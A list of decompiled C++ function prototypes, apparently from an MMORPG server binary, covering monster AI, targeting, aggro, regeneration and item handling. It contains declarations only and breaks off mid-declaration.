MobExplosionElement::MobExplosionTarget::MobExplosionTarget(MobExplosionElement::MobExplosionTarget *this); void __thiscall MobExplosionElement::MobExplosionAlways::MobExplosionAlways(MobExplosionElement::MobExplosionAlways *this); void __thiscall MobExplosionElement::MobExplosionAlways::_MobExplosionAlways(MobExplosionElement::MobExplosionAlways *this); void __thiscall AxialListAggroAdjust::_AxialListAggroAdjust(AxialListAggroAdjust *this); MobTargetSelector *__thiscall std::basic_streambuf>::setbuf(MobTargetSelector *this, #325 *, int); void __thiscall ShineObjectClass::ShinePlayer::sp_SkinPolymorph(int this, __int16 mobid, __int16 AbIndex); void __thiscall ShineObjectClass::ShineServant::sm_TooLongChase(ShineObjectClass::ShineServant *this); void __thiscall ShineObjectClass::ShineServant::sm_serv_VanishReserv(ShineObjectClass::ShineServant *this, int sec); void __thiscall MiscDataTable::mdt_StateConditionStore(MiscDataTable *this, MiscDataTable::MiscData_VarifyByAbstate *temp); void __thiscall MiscDataTable::mdt_StateCondition(MiscDataTable *this, OptionReader *miscdata); void __thiscall MiscDataTable::mdt_PostSkillBlast(MiscDataTable *this, #740 *, #325 *, unsigned __int16, SHINE_XY_TYPE *); void __thiscall ShineObjectClass::ShineServant::so_serv_SetMaster(ShineObjectClass::ShineServant *this, #740 *master); void __thiscall MiscDataTable::mdt_SkillBufferAlloc(void *base, const char *flag); MiscDataTable::MiscData_AbState *__thiscall MiscDataTable::mdt_AbStateBufferAlloc(MiscDataTable *this, char *index); void __thiscall MobExplosionElement::MobExplosionBase::meb_Vanish(MobExplosionElement::MobExplosionBase *this, int mob); char __thiscall MobExplosionElement::MobExplosionBase::meb_Explosion(MobExplosionElement::MobExplosionBase *this, ShineObjectClass::ShineServant *mob, #740 *misctable); char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_Run(AbnormalStateContainer::AbstateElementInObject *this, List *lst, unsigned __int16 handle); char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_Walk(AbnormalStateContainer::AbstateElementInObject *this, List *lst, unsigned __int16 handle); char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_Attack(AbnormalStateContainer::AbstateElementInObject *this, List *lst, unsigned __int16 handle); char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_Attacked(AbnormalStateContainer::AbstateElementInObject *this, List *lst, unsigned __int16 handle); char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_ItemChange(AbnormalStateContainer::AbstateElementInObject *this, CharacterInventory *inven); char __thiscall AbnormalStateContainer::ListIteratorAbstateEquip::lid_Call(AbnormalStateContainer::ListIteratorAbstateEquip *this, AbnormalStateContainer::AbstateElementInObject *ele, unsigned __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::so_ply_AbstateMatchEquip(void *this); char __thiscall AxialListAggroAdjust::ali_Work(AxialListAggroAdjust *this, #325 *, #325 *, unsigned int); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_AggroAdjust(void *this, int aggrorate, int range); void __thiscall ShineObjectClass::ShineMob::so_mob_AggroAdjust(#325 *, int); // void __usercall ShineObjectClass::ShineMobileObject::smo_WarpTo(int a1, int locate, int a3, int sklidx, int sklidxa); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveWeapon(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveShield(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveEquip(void *this, int equipslot); void __thiscall GameDBSession::gds_NC_ITEMDB_REINFORCEUNEQUIPSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_REINFORCEUNEQUIPFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); int __thiscall ShineObjectClass::ShineMobileObject::so_smo_CrossCounterDamage(_DWORD, _DWORD); // weak void __thiscall ShineObjectClass::ShinePlayer::smo_ply_Polymorph(void *this, int a2); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_DEPOLYMORPH_CMD(void *this, int netcmd, int len, __int16 handle); char __cdecl ShineObjectClass::ShineObject::so_mob_CanBeAttackedByPlayer(); char __thiscall ShineObjectClass::ShineMob::so_mob_CanBeAttackedByPlayer(void *this, int a2); char __thiscall ShineObjectClass::ShineServant::so_mob_CanBeAttackedByPlayer(ShineObjectClass::ShineServant *this, #434 *ply); void __thiscall ShineObjectClass::ShineMobileObject::smo_SoulManage(#325 *, SkillDataBox::SkillDataIndex *); void __thiscall ShineObjectClass::ShinePlayer::smo_SoulManage(#325 *, SkillDataBox::SkillDataIndex *); int __cdecl ShineObjectClass::ShineMobileObject::smo_HowMachSoul(int sklidx, int soulcollect); int __thiscall ShineObjectClass::ShinePlayer::smo_HowMachSoul(void *this, int sklidx, int soulcollect, int a4); void __thiscall MiscDataTable::mdt_ArgumentLoad(MiscDataTable *this, EngageArgument *argument); char __cdecl ShineObjectClass::ShineObject::so_smo_AbnormalStateAttribute(int condition); int __cdecl ShineObjectClass::ShineObject::so_smo_RangeEvation(); int __thiscall ShineObjectClass::ShineMobileObject::so_smo_RangeEvation(void *this); void __thiscall MiscDataTable::mdt_Polymorph(MiscDataTable *this, OptionReader *miscdata); void __thiscall MiscDataTable::mdt_Neutralization(MiscDataTable *this, OptionReader *miscdata); void __thiscall MiscDataTable::mdt_AbStateReset(MiscDataTable *this, OptionReader *miscdata); void __thiscall MiscDataTable::mdt_SkillBreedMob(MiscDataTable *this, OptionReader *miscdata); MobTargetSelector *__thiscall MobTargetBout::mts_AggroAdjust(MobTargetBout *this, #325 *, int); // void __usercall ShineObjectClass::ShineMobileObject::smo_WarpForward(int a1, int a2, int sklidx); char __thiscall ShineObjectClass::ShineMobileObject::so_smo_AbnormalStateAttribute(void *this, int condition); void __thiscall MiscDataTable::mdt_Load(MiscDataTable *this); MobDataBox::MobDataBoxIndex *__thiscall MobDataBox::operator__(MobDataBox *this, unsigned __int16 mobid); void __thiscall MobAttackSequence::AttackElement4Mob::ae4m_NextSkill(MobAttackSequence::AttackElement4Mob *this, int *attacksequenceindex); void __thiscall MobAttackSequence::SkillChange::sc_Store(MobAttackSequence::SkillChange *this, char *from, char *to, unsigned int value); void __thiscall MobAttackSequence::mas_Append(MobAttackSequence *this, unsigned __int16 mobid); char __thiscall List::l_PopA(List *this, ItemLotAnalyser::LotChanger *ele); int __thiscall MobAttackSequence::AttackElement4Mob::ae4m_NextSkill(MobAttackSequence::AttackElement4Mob *this, #325 *, int *, char); void __thiscall MobAttackSequence::_MobAttackSequence(MobAttackSequence *this); void __thiscall List::l_Clear(List *this); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall MobAttackSequence::SkillChangeList::SkillChangeList(MobAttackSequence::SkillChangeList *this); void __thiscall MobAttackSequence::MobAttackSequence(MobAttackSequence *this); void __thiscall MobAttackSequence::mas_Load(MobAttackSequence *this); void __thiscall FieldMap::fm_FindWayInit(int this); void __thiscall MobActionElement::MobActionElement(MobActionElement *this); void __thiscall MobActionElement::_MobActionElement(MobActionElement *this); void __thiscall MobTargetStruct::MobTargetStruct(MobTargetStruct *this); void __thiscall MobTargetEraser::MobTargetEraser(MobTargetEraser *this); void __thiscall MobTargetEraser::_MobTargetEraser(MobTargetEraser *this); void __thiscall MobTargetSelector::MobTargetSelector(MobTargetSelector *this); void __thiscall MobTargetSelector::_MobTargetSelector(MobTargetSelector *this); char __thiscall MobTargetAggresive::IsIgnoreLevelGap(MobTargetAggresive *this, char Left, char Right); char __thiscall MobTargetAggresive::IsNoAttackAbstate(MobTargetAggresive *this, #325 *obj); char __thiscall MobTargetAggresive::IsNoTargetAbstate(MobTargetAggresive *this, #325 *, #325 *); char __thiscall ShineObjectClass::ShinePlayer::sp_IsPreventAttack(int this); char __thiscall MobTargetAggresiveALL::IsNoAttackAbstate(MobTargetAggresiveALL *this, #325 *obj); int __thiscall ShineObjectClass::ShineMob::so_mob_CurSelectWeapon(int this); int __thiscall ShineObjectClass::ShineObject::so_mob_SelectWeapon(#325 *this, #325 *, char); int __thiscall ShineObjectClass::ShineMob::sm_PrepareWeapon(int this, int MaxWC, int MinWC, unsigned __int16 TH, int MaxMA, int MinMA, unsigned __int16 MH); void *__thiscall MobActionElement::_vector_deleting_destructor_(MobActionElement *this, unsigned int); void *__thiscall MobTargetSelector::_scalar_deleting_destructor_(MobTargetSelector *this, unsigned int); char __thiscall MobTargetAggresive::ali_Work(MobTargetAggresive *this, #325 *, #325 *, unsigned int); char __thiscall MobTargetAggresive2::ali_Work(MobTargetAggresive2 *this, #325 *, #325 *, unsigned int); MobActionElement *__thiscall MobActionElement::mae_Action(MobActionElement *this, unsigned __int16 hnd, MobBrainStruct *mob); void __thiscall ShineObjectClass::ShineMob::sm_UseWeapon(void *this, int a2); int __thiscall MobTargetStruct::operator_(int this, int a2); void __thiscall MobTargetAggresiveALL::mts_SelectTarget(MobTargetAggresiveALL *this, #325 *mob); int __thiscall ShineObjectClass::ShineMob::sm_GetUseWeaponRate(int this, unsigned int nIndex); int __thiscall ShineObjectClass::ShineMob::so_mob_SelectWeapon(#325 *, char); int __thiscall ShineObjectClass::ShineObject::so_mob_SightCenter(int this, int sight, int buffer); SHINE_XY_TYPE *__thiscall ShineObjectClass::ShineMob::so_mob_SightCenter(int this, int sight, int buffer); void __thiscall MobTargetSelector::mts_InitRegen(MobTargetSelector *this, #325 *mob); int __thiscall ShineObjectClass::ShineMob::so_mob_TargetChange(int this); void __thiscall AxialListNearFriend::_AxialListNearFriend(AxialListNearFriend *this); void __thiscall AxialListNPCTargetFind::_AxialListNPCTargetFind(AxialListNPCTargetFind *this); char __thiscall AxialListNPCTargetFind::ali_Work(AxialListNPCTargetFind *this, #325 *, #325 *, unsigned int); MobTargetSelector *__thiscall MobTargetPlayerCaptivate::mts_Initialize(MobTargetPlayerCaptivate *this, #325 *, MobAggroManager *); void __thiscall MobTargetPlayerCaptivate::mts_SelectTarget(MobTargetPlayerCaptivate *this, #325 *mob); void __thiscall ShineObjectClass::ShineMob::so_mob_ReturnToRegen(int this); MobTargetSelector *__thiscall MobTargetSelector::mts_Initialize(MobTargetSelector *this, #325 *, MobAggroManager *); MobTargetSelector *__thiscall MobTargetBout::mts_Initialize(MobTargetBout *this, #325 *, MobAggroManager *); MobTargetSelector *__thiscall MobTargetSelector::mts_InitThink(MobTargetSelector *this); void __thiscall MobTargetSelector::mts_SelectTarget(MobTargetSelector *this, #325 *mob); void __thiscall MobTargetNoBrain::mts_SelectTarget(MobTargetNoBrain *this, #325 *mob); void __thiscall MobTarget_AggroClear::MobTarget_AggroClear(MobTarget_AggroClear *this, #325 *, int); void __thiscall MobTarget_AggroClear::_MobTarget_AggroClear(MobTarget_AggroClear *this); char __thiscall MobTarget_AggroClear::lid_Call(MobTarget_AggroClear *this, MobTargetStruct *ele, unsigned __int16 handle); void __thiscall MobTargetBout::mts_DecreaseAggroPoint(MobTargetBout *this, #325 *, int); void __thiscall MobTargetSelector::mts_TargetChange(MobTargetSelector *this, MobTargetStruct *target); void __thiscall MobTarget_EnemyAnalysis::MobTarget_EnemyAnalysis(MobTarget_EnemyAnalysis *this, #325 *, List *); void __thiscall MobTarget_EnemyAnalysis::_MobTarget_EnemyAnalysis(MobTarget_EnemyAnalysis *this); char __thiscall MobTarget_EnemyAnalysis::mtea_free(MobTarget_EnemyAnalysis *this, MobTargetStruct *ele, unsigned __int16 handle); char __thiscall MobTarget_EnemyAnalysis::lid_Call(MobTarget_EnemyAnalysis *this, MobTargetStruct *ele, unsigned __int16 handle); void __thiscall MobTargetBout::mts_Routine(MobTargetBout *this); char __thiscall AxialListNearFriend::ali_Work(AxialListNearFriend *this, #325 *, #325 *, unsigned int); int __stdcall ShineObjectClass::ShineObject::so_mob_FindMyRaceTarget(int a1, int a2); int __thiscall ShineObjectClass::ShineMob::so_mob_FindMyRaceTarget(void *ecx0, int a2, int a3); int __stdcall ShineObjectClass::ShineObject::so_mob_CanMyTarget(int a1, int a2); void *__thiscall ShineObjectClass::ShineMob::so_mob_CanMyTarget(void *this, int a2, char inlist); int __cdecl ShineObjectClass::ShineObject::so_mob_CanNPCTarget(int mobindex, int weaponnum); int __cdecl ShineObjectClass::ShineObject::so_ply_CanMyTarget(int a1, int weaponnum); void *__thiscall ShineObjectClass::ShineMob::so_ply_CanMyTarget(void *this, int a2, int inlist); void *__thiscall ShineObjectClass::ShinePlayer::so_ply_CanMyTarget(void *this, int a2, int inlist); void __thiscall List::l_Clear(List *this); void __thiscall MobTargetBout::mts_InitRegen(MobTargetBout *this, #325 *mob); void __thiscall MobTargetBout::mts_SelectTarget(MobTargetBout *this, #325 *mob); void __thiscall MobTargetAggresive::mts_SelectTarget(MobTargetAggresive *this, #325 *mob); void __thiscall MobTargetBout::mts_AggroClear(MobTargetBout *this); void __thiscall MobTargetBout::mts_AppendAggroPoint(MobTargetBout *this, #325 *, int); char __thiscall MobTargetPlayerCaptivate::ali_Work(MobTargetPlayerCaptivate *this, #325 *, #325 *, unsigned int); int __thiscall MobDataBox::operator int(MobDataBox *this); unsigned int __thiscall MobChat::MobChatElementBase::mceb_MobChatInterval(MobChat::MobChatElementBase *this); void __thiscall MobChat::MobChatManager::MobChatManager(MobChat::MobChatManager *this); void __thiscall MobChat::MobChatManager::mcm_WanderChat(MobChat::MobChatManager *this); void __thiscall MobChat::MobChatManager::mcm_AttackChat(MobChat::MobChatManager *this); void __thiscall MobChat::MobChatManager::mcm_DamageChat(MobChat::MobChatManager *this); void __thiscall MobChat::MobChatManager::mcm_KilledChat(MobChat::MobChatManager *this); void __thiscall MobChat::MobChatManager::mcm_HelpReqChat(MobChat::MobChatManager *this); void __thiscall MobChat::MobChatManager::mcm_HelpAckChat(MobChat::MobChatManager *this); void __thiscall MobChat::MobChatManager::mcm_DetectBattleChat(MobChat::MobChatManager *this); void __thiscall MobChat::MobChatElement::MobChatElement(MobChat::MobChatElement *this, MobChat::MobChatRecord *rec); void __thiscall MobChat::MobChatElementWander::MobChatElementWander(MobChat::MobChatElementWander *this, MobChat::MobChatRecord *rec); unsigned int __thiscall MobChat::MobChatElementWander::mceb_MobChatInterval(MobChat::MobChatElementWander *this); void __thiscall MobChat::MobChatElementWander::mceb_WanderChat(MobChat::MobChatElementWander *this); void __thiscall MobChat::MobChatElement::mceb_AttackChat(MobChat::MobChatElement *this); void __thiscall MobChat::MobChatElement::mceb_DamageChat(MobChat::MobChatElement *this); void __thiscall MobChat::MobChatElement::mceb_KilledChat(MobChat::MobChatElement *this); void __thiscall MobChat::MobChatElement::mceb_HelpReqChat(MobChat::MobChatElement *this); void __thiscall MobChat::MobChatElement::mceb_HelpAckChat(MobChat::MobChatElement *this); void __thiscall MobChat::MobChatElement::mceb_DetectBattleChat(MobChat::MobChatElement *this); void __thiscall MobChat::MobChatManager::_MobChatManager(MobChat::MobChatManager *this); void __thiscall MobChat::MobChatManager::mcm_Load(MobChat::MobChatManager *this, Name4 *world); void __thiscall MobDeadCount::_MobDeadCount(MobDeadCount *this); void __thiscall MobDeadCount::mdc_Clear(MobDeadCount *this); void __thiscall MobDeadCount::mdc_Count(MobDeadCount *this, unsigned __int16 mobid); int __thiscall MobDeadCount::mdc_DeadCountGet(MobDeadCount *this, unsigned __int16 mobid); void __thiscall MobDeadCount::mdc_Init(MobDeadCount *this); int __thiscall ShineObjectClass::ShineObject::so_IsDropping(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak void __thiscall KQRegenTable::Element::Element(KQRegenTable::Element *this); int __thiscall PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD::operator_(int this, int a2); void __thiscall BriefInformationCharacter::bic_InitBriefInfo(BriefInformationCharacter *this, unsigned __int16 handle, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete); void __thiscall BriefInformationEffect::bie_InitBriefInfo(BriefInformationEffect *this, unsigned __int16 handle, Name8 *idx, unsigned __int16 detach, int scale); void __thiscall EventMobRegen::EventMobRegen(EventMobRegen *this); signed int __stdcall ShineObjectClass::ShineObject::so_effect_EffectBlast(__int16 handle, int map_, int a3, int idx, int keeptime_millisec, int scale); signed int __stdcall ShineObjectClass::ShineObject::so_effect_EffectBlast(__int16 handle, int map_, int x, int y, int d, int idx, int keeptime_millisec, int scale); signed int __stdcall ShineObjectClass::ShineObject::so_mob_Regenerate(int map_, int x, int y, int dir, __int16 handle, __int16 mobid, int bandittemplete, int regnum, int a9, int a10, int lev, char blockdata); int __thiscall MobRegenClass::MobBreeder::MobBreeder(int this); int __thiscall MobRegenClass::MobBreeder::mb_RegenWaitTime(int this); void __thiscall MobRegenClass::MobRegenLoc_Circular::MobRegenLoc_Circular(MobRegenClass::MobRegenLoc_Circular *this, int x, int y, int rad); void __thiscall MobRegenClass::MobRegenLoc_Circular::mrlc_Get(MobRegenClass::MobRegenLoc_Circular *this, SHINE_XY_TYPE *loc); char __thiscall ShineObjectClass::ShineMob::sm_BriefLocateSet(int this); void __thiscall ShineObjectClass::ShineBandit::sm_BriefLocateSet(ShineObjectClass::ShineBandit *this); MobDataBox::MobDataBoxIndex *__thiscall ShineObjectClass::ShineMob::sm_InitBriefInfo(int this, __int16 handle, unsigned __int16 mobid, int bandittemplete); void __thiscall ShineObjectClass::ShineBandit::sm_InitBriefInfo(ShineObjectClass::ShineBandit *this, unsigned __int16 handle, unsigned __int16 mobid, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete); void __thiscall KQRegenTable::KQRegenTable(KQRegenTable *this); int __cdecl KQRegenTable::Element::Comp(const void *a, const void *b); void __thiscall FamilyMobManagement::MobSpeciesSlot::mss_Clear(FamilyMobManagement::MobSpeciesSlot *this); unsigned int __thiscall std::vector>::size(std::vector > *this); void __thiscall List::_List(List *this); char __thiscall List::l_PushZ(List *this, #803 *ele); char __thiscall List::l_PopA(List *this, #803 *ele); char __thiscall List::l_PopZ(List *this, #803 *ele); ORTable *__thiscall List::l_AllocZ(List *this, unsigned __int16 hnd); void __thiscall SafePointer::SafePointer(SafePointer *this); void __thiscall SafePointer::_SafePointer(SafePointer *this); void __cdecl std::fill(FamilyMobManagement::MobSpeciesSlot *_First, FamilyMobManagement::MobSpeciesSlot *_Last, FamilyMobManagement::MobSpeciesSlot *_Val); FieldMap::FM_MarkingError __thiscall ShineObjectClass::ShineEffectObject::so_effect_EffectBlast(ShineObjectClass::ShineEffectObject *this, unsigned __int16 handle, Name3 *map_, #325 *detach, Name8 *idx, unsigned int keeptime_millisec, int scale); FieldMap::FM_MarkingError __thiscall ShineObjectClass::ShineEffectObject::so_effect_EffectBlast(ShineObjectClass::ShineEffectObject *this, unsigned __int16 handle, Name3 *map_, int x, int y, int d, Name8 *idx, unsigned int keeptime_millisec, int scale); void __cdecl ShineObjectClass::ShineObject::so_npc_FromTable(); void __thiscall ShineObjectClass::ShineNPC::so_npc_FromTable(ShineObjectClass::ShineNPC *this); void __thiscall ShineObjectClass::ShineNPC::so_KilledBy(ShineObjectClass::ShineNPC *this, #325 *, int, int, unsigned int); void __thiscall MobRegenClass::MobBreeder::mb_Setregentime(void *this, int sec); void __thiscall MobRegenClass::MobBreederGroup::_MobBreederGroup(MobRegenClass::MobBreederGroup *this); void __thiscall MobRegenClass::MobBreederGroup::mbg_SetRegenLoc(MobRegenClass::MobBreederGroup *this, SHINE_XY_TYPE *loc); char __thiscall MobBreedRegenEnable::lid_Call(MobBreedRegenEnable *this, #803 *, unsigned __int16); char __thiscall MobRegenClass::MobBreederGroup::mbg_RegenLoc(MobRegenClass::MobBreederGroup *this, SHINE_XY_TYPE *loc, int *dir); void __thiscall MobRegenClass::MobBreederGroup::mbg_Set(MobRegenClass::MobBreederGroup *this, ORToken *groupname, Name3 *map_, char fam, MobRegenStruct::RegenRegion *regreg); #803 *__thiscall MobRegenClass::MobBreederGroup::l_AllocA(MobRegenClass::MobBreederGroup *this, unsigned __int16 hnd); #803 *__thiscall MobRegenClass::MobBreederGroup::l_AllocZ(MobRegenClass::MobBreederGroup *this, unsigned __int16 hnd); MobRegenClass::MobBreederGroup *__thiscall MobRegenClass::MobRegenGroupList::l_AllocA(MobRegenClass::MobRegenGroupList *this, unsigned __int16 hnd); MobRegenClass::MobBreederGroup *__thiscall MobRegenClass::MobRegenGroupList::l_AllocZ(MobRegenClass::MobRegenGroupList *this, unsigned __int16 hnd); void __thiscall MobHatchery::_MobHatchery(MobHatchery *this); MobRegenClass::MobBreederGroup *__thiscall MobHatchery::mg_FindBreedGroup(MobHatchery *this, Name3 *map, ORToken groupname); void __thiscall MobRegenClass::MobBreeder::mb_SetLeader(void *this, int a2); void __thiscall ShineObjectClass::ShineMob::sm_SetBrain(void *this); void __thiscall KQRegenTable::_KQRegenTable(KQRegenTable *this); void __thiscall KQRegenTable::kqrt_Load(KQRegenTable *this, char *fname); char __thiscall List::l_PushA(List *this, #803 *ele); std::mem_fun_ref_t *__cdecl std::for_each>::iterator_std::mem_fun_ref_t>(std::mem_fun_ref_t *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::mem_fun_ref_t _Func); FamilyMobManagement::MobSpeciesSlot *__cdecl std::copy_backward(FamilyMobManagement::MobSpeciesSlot *_First, FamilyMobManagement::MobSpeciesSlot *_Last, FamilyMobManagement::MobSpeciesSlot *_Dest); FamilyMobManagement::MobSpeciesSlot *__cdecl std::copy(FamilyMobManagement::MobSpeciesSlot *_First, FamilyMobManagement::MobSpeciesSlot *_Last, FamilyMobManagement::MobSpeciesSlot *_Dest); void __thiscall List::l_Clear(List *this); int __thiscall MobRegenClass::MobBreeder::mb_regen(_DWORD, _DWORD); // weak char __thiscall MobRegenClass::MobBreederGroup::mbg_SetEnableNextRegen(MobRegenClass::MobBreederGroup *this, char bNextRegen); char __thiscall MobRegenClass::MobBreeder::mb_Set(void *this, int grp, __int16 mobid, int regensec, int regenCount); void __thiscall KQRegenTable::kqrt_Load(KQRegenTable *this); char __thiscall MobRegenClass::MobBreederGroup::mbg_View(MobRegenClass::MobBreederGroup *this, List *lst, unsigned __int16 handle); char __thiscall List::l_PushA(List *this, MobRegenClass::MobBreederGroup *ele); int __thiscall MobRegenClass::MobBreederGroup::operator_(int this, int a2); char __thiscall List::l_PushZ(List *this, MobRegenClass::MobBreederGroup *ele); char __thiscall List::l_PopA(List *this, MobRegenClass::MobBreederGroup *ele); char __thiscall List::l_PopZ(List *this, MobRegenClass::MobBreederGroup *ele); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall List::l_Clear(List *this); FamilyMobManagement::MobSpeciesSlot *__cdecl std::_Uninit_copy>::const_iterator_FamilyMobManagement::MobSpeciesSlot___std::allocator>(std::vector >::const_iterator _First, std::vector >::const_iterator _Last, FamilyMobManagement::MobSpeciesSlot *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall MobRegenClass::MobBreederGroup::mbg_ScriptDataStore(MobRegenClass::MobBreederGroup *this, MobRegenStruct::RegenMobStruct *data, ORToken *aitype); void __thiscall MobHatchery::mh_View(MobHatchery *this, #434 *sp); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __cdecl std::_Uninit_fill_n>(FamilyMobManagement::MobSpeciesSlot *_First, unsigned int _Count, FamilyMobManagement::MobSpeciesSlot *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall MobRegenClass::MobBreederGroup::MobBreederGroup(MobRegenClass::MobBreederGroup *this); void __thiscall MobHatchery::mh_ScriptBreed(MobHatchery *this, Name3 *map_, MobRegenStruct::RegenMobStruct *data, MobRegenStruct::RegenGroupStruct *group, ORToken *aitype); FamilyMobManagement::MobSpeciesSlot *__thiscall std::vector>::_Ucopy(std::allocator *_Al, std::vector >::const_iterator _First, std::vector >::const_iterator _Last, FamilyMobManagement::MobSpeciesSlot *__formal); void __thiscall MobHatchery::MobHatchery(MobHatchery *this); FamilyMobManagement::MobSpeciesSlot *__thiscall std::vector>::_Ufill(std::vector > *this, FamilyMobManagement::MobSpeciesSlot *_Ptr, unsigned int _Count, FamilyMobManagement::MobSpeciesSlot *_Val); void __thiscall std::vector>::_Xlen(std::vector > *this); bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, const unsigned int *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, FamilyMobManagement::MobSpeciesSlot *_Val); void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right); void *__thiscall std::vector>::operator_(void *_Al, int __formal); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, unsigned int _Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, FamilyMobManagement::MobSpeciesSlot *_Val); std::vector >::iterator *__cdecl std::remove_copy>::iterator_std::vector>::iterator_FamilyMobManagement::FamilyMob>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, FamilyMobManagement::FamilyMob *_Val); FamilyMobManagement::FamilyMob *__cdecl std::_Copy_opt(FamilyMobManagement::FamilyMob *_First, FamilyMobManagement::FamilyMob *_Last, FamilyMobManagement::FamilyMob *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); FamilyMobManagement::FamilyMob *__cdecl std::_Copy_backward_opt(FamilyMobManagement::FamilyMob *_First, FamilyMobManagement::FamilyMob *_Last, FamilyMobManagement::FamilyMob *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall FamilyMobManagement::FamilyMobManager::fmm_Initialize(FamilyMobManagement::FamilyMobManager *this, #803 *leader); bool __thiscall FamilyMobManagement::FamilyMobManager::fmm_Dead(FamilyMobManagement::FamilyMobManager *this, #803 *, unsigned __int16); void __thiscall std::vector>::push_back(std::vector > *this, FamilyMobManagement::MobSpeciesSlot *_Val); std::vector >::iterator *__cdecl std::remove>::iterator_FamilyMobManagement::FamilyMob>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, FamilyMobManagement::FamilyMob *_Val); void __cdecl std::fill(FamilyMobManagement::FamilyMob *_First, FamilyMobManagement::FamilyMob *_Last, FamilyMobManagement::FamilyMob *_Val); int __thiscall ShineObjectClass::ShineMob::so_mob_Regenerate(void *this, int map_, int x, int y, signed int dir, int handle, int mobid, int bandittemplete, int regnum, int a10, int a11, int lev, char blockdata); FieldMap::FM_MarkingError __thiscall ShineObjectClass::ShineServant::so_mob_Regenerate(ShineObjectClass::ShineServant *this, Name3 *map_, int x, int y, int dir, unsigned __int16 handle, unsigned __int16 mobid, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete, unsigned int regnum, #325 *leadermob, #803 *breeder, int lev, char blockdata); FieldMap::FM_MarkingError __thiscall ShineObjectClass::ShineNPC::so_mob_Regenerate(ShineObjectClass::ShineNPC *this, Name3 *_map, int x, int y, int dir, unsigned __int16 handle, unsigned __int16 mobid, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete, unsigned int regnum, #325 *leadermob, #803 *breeder, int lev, char blockdata); char __thiscall MobRegenClass::MobBreederGroup::mbg_Routine(MobRegenClass::MobBreederGroup *this, List *lst, unsigned __int16 handle); FamilyMobManagement::FamilyMob *__cdecl std::_Uninit_copy>(FamilyMobManagement::FamilyMob *_First, FamilyMobManagement::FamilyMob *_Last, FamilyMobManagement::FamilyMob *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall EventMobRegen::erb_happen(EventMobRegen *this); void __cdecl std::_Uninit_fill_n>(FamilyMobManagement::FamilyMob *_First, unsigned int _Count, FamilyMobManagement::FamilyMob *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall std::vector>::_Destroy(std::vector > *this, KQContribute::PlayerList *_First, KQContribute::PlayerList *_Last); void __thiscall std::vector>::_Tidy(std::vector > *this); FamilyMobManagement::FamilyMob *__thiscall std::vector>::_Ufill(std::vector > *this, FamilyMobManagement::FamilyMob *_Ptr, unsigned int _Count, FamilyMobManagement::FamilyMob *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, FamilyMobManagement::FamilyMob *_Val); std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, FamilyMobManagement::FamilyMob *_Val); void __thiscall FamilyMobManagement::FamilyMobManager::fmm_Remove(FamilyMobManagement::FamilyMobManager *this, #803 *me); void __thiscall std::vector>::push_back(std::vector > *this, FamilyMobManagement::FamilyMob *_Val); char __thiscall MobRegenClass::MobBreederGroup::l_Free(MobRegenClass::MobBreederGroup *this, unsigned __int16 hnd); void __thiscall FamilyMobManagement::FamilyMobManager::fmm_Regist(FamilyMobManagement::FamilyMobManager *this, #803 *, unsigned __int16, int); char __thiscall MobRegenClass::MobBreederGroup::mbg_StoreData(MobRegenClass::MobBreederGroup *this, List *lst, unsigned __int16 handle); int __thiscall MobRegenClass::MobBreeder::mb_MobBreed(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak void __thiscall MobHatchery::mh_Load(MobHatchery *this, Name4 *world, Name3 *map_); #803 *__thiscall MobRegenClass::MobBreederGroup::mbg_MobBreed(MobRegenClass::MobBreederGroup *this, Name3 *map_, SHINE_XY_TYPE *xy, int dir, unsigned __int16 mobid, char *itemindex, int 